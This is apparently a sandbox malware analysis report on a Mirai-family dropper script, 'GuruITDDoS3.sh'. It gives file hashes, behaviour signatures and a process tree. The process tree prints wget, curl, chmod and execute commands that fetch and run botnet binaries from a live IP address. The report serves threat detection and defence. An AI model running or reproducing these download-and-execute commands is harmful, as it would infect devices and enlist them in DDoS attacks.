Overview

overview

10

Static

static

1

GuruITDDoS3.sh

ubuntu-18.04-amd64

10

GuruITDDoS3.sh

debian-9-armhf

10

GuruITDDoS3.sh

debian-9-mips

10

GuruITDDoS3.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    147s
  • max time network
    149s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    27-12-2024 06:52

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    GuruITDDoS3.sh

  • Size

    2KB

  • MD5

    c01f89f66afa819108643774b814bfaf

  • SHA1

    abde31c7a7b764f70527ef07b3f57a9993b949b8

  • SHA256

    ce9a5d9b5c25ecfcde1c946901db42efdfa881de812e2a1cab84b1650b057a7a

  • SHA512

    a5e94401ba1d9e605e4c65143c57eb3235ee0a6a63f71e55a129e57cf6252c33f51aa2ee46271796d7b21f28eb1cbbbd6fa0d380de376714dcc17e05ebd06f80

Score
10/10
miraidemonsbotnetdefense_evasiondiscovery

Malware Config

Extracted

Family

mirai

Botnet

DEMONS

Extracted

Family

mirai

Botnet

DEMONS

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

    botnetmirai
  • Mirai family
    mirai
  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 3 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Enumerates active TCP sockets 1 TTPs 2 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

    discovery
  • Writes file to system bin folder 1 IoCs
  • Changes its process name 1 IoCs
  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Reads runtime system information 3 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 7 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/GuruITDDoS3.sh
    /tmp/GuruITDDoS3.sh
    1⤵
    • Writes file to tmp directory
    PID:717
    • /usr/bin/wget
      wget http://5.175.237.74/GuruITDDoS/RpcSecurity.x86
      2⤵
      • Writes file to tmp directory
      PID:722
    • /usr/bin/curl
      curl -O http://5.175.237.74/GuruITDDoS/RpcSecurity.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:738
    • /bin/cat
      cat RpcSecurity.x86
      2⤵
        PID:743
      • /bin/chmod
        chmod +x GuruITDDoS3.sh RpcSecurity RpcSecurity.x86 systemd-private-cf8f1ab7d84f48e197d323eae0df3dc0-systemd-timedated.service-hgdCzn
        2⤵
        • File and Directory Permissions Modification
        PID:744
      • /tmp/RpcSecurity
        ./RpcSecurity
        2⤵
        • Executes dropped EXE
        PID:745
      • /usr/bin/wget
        wget http://5.175.237.74/GuruITDDoS/RpcSecurity.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:747
      • /usr/bin/curl
        curl -O http://5.175.237.74/GuruITDDoS/RpcSecurity.mips
        2⤵
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:748
      • /bin/cat
        cat RpcSecurity.mips
        2⤵
        • System Network Configuration Discovery
        PID:749
      • /bin/chmod
        chmod +x GuruITDDoS3.sh RpcSecurity RpcSecurity.mips RpcSecurity.x86 systemd-private-cf8f1ab7d84f48e197d323eae0df3dc0-systemd-timedated.service-hgdCzn
        2⤵
        • File and Directory Permissions Modification
        PID:750
      • /tmp/RpcSecurity
        ./RpcSecurity
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Enumerates active TCP sockets
        • Writes file to system bin folder
        • Changes its process name
        • Reads system network configuration
        PID:751
      • /usr/bin/wget
        wget http://5.175.237.74/GuruITDDoS/RpcSecurity.mpsl
        2⤵
        • Writes file to tmp directory
        PID:798
      • /usr/bin/curl
        curl -O http://5.175.237.74/GuruITDDoS/RpcSecurity.mpsl
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:800
      • /bin/chmod
        chmod +x GuruITDDoS3.sh RpcSecurity RpcSecurity.mips RpcSecurity.mpsl RpcSecurity.x86 systemd-private-cf8f1ab7d84f48e197d323eae0df3dc0-systemd-timedated.service-hgdCzn
        2⤵
        • File and Directory Permissions Modification
        PID:802
      • /tmp/RpcSecurity
        ./RpcSecurity
        2⤵
        • Executes dropped EXE
        • Enumerates active TCP sockets
        • Reads system network configuration
        PID:803

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • /tmp/RpcSecurity
      Filesize

      75KB

      MD5

      b42000c87e42345dffd95c15b6ac2428

      SHA1

      52e9fa49ce26d85ad5dfbabe98d8ed178705c542

      SHA256

      324cf363149eb9264bac519d0cdb8fd93e3f211cd2e5cd3f9d784be8c1cb2ee0

      SHA512

      c239f7931b97709b363be637d3f60b7c3c60b181d86ed636b2d7d3d51e49761009c76bde64ef81ca95fc5a3da1ba48e83450970a0f2e6720634a5cbb40e6babf

      Download Submit

    • /tmp/RpcSecurity.x86
      Filesize

      54KB

      MD5

      7e83ac9f8b9ae088c5336df0d874926f

      SHA1

      a5fe7d25942a9f04f8a4cfb57d5781d7042a48d5

      SHA256

      1b8b5cc9cb64473380cd6898f7580339f38a3cd6e7f90d1768c7842e998bb3ed

      SHA512

      0e4dda062bb583dad01c1a9ab9018303003dce5078c30af63b222fa82b93f4fc19bc0bdd6e8f4c3024b0d9502470bbf26238ea991f08ded59e040b89f3156d2b

      Download Submit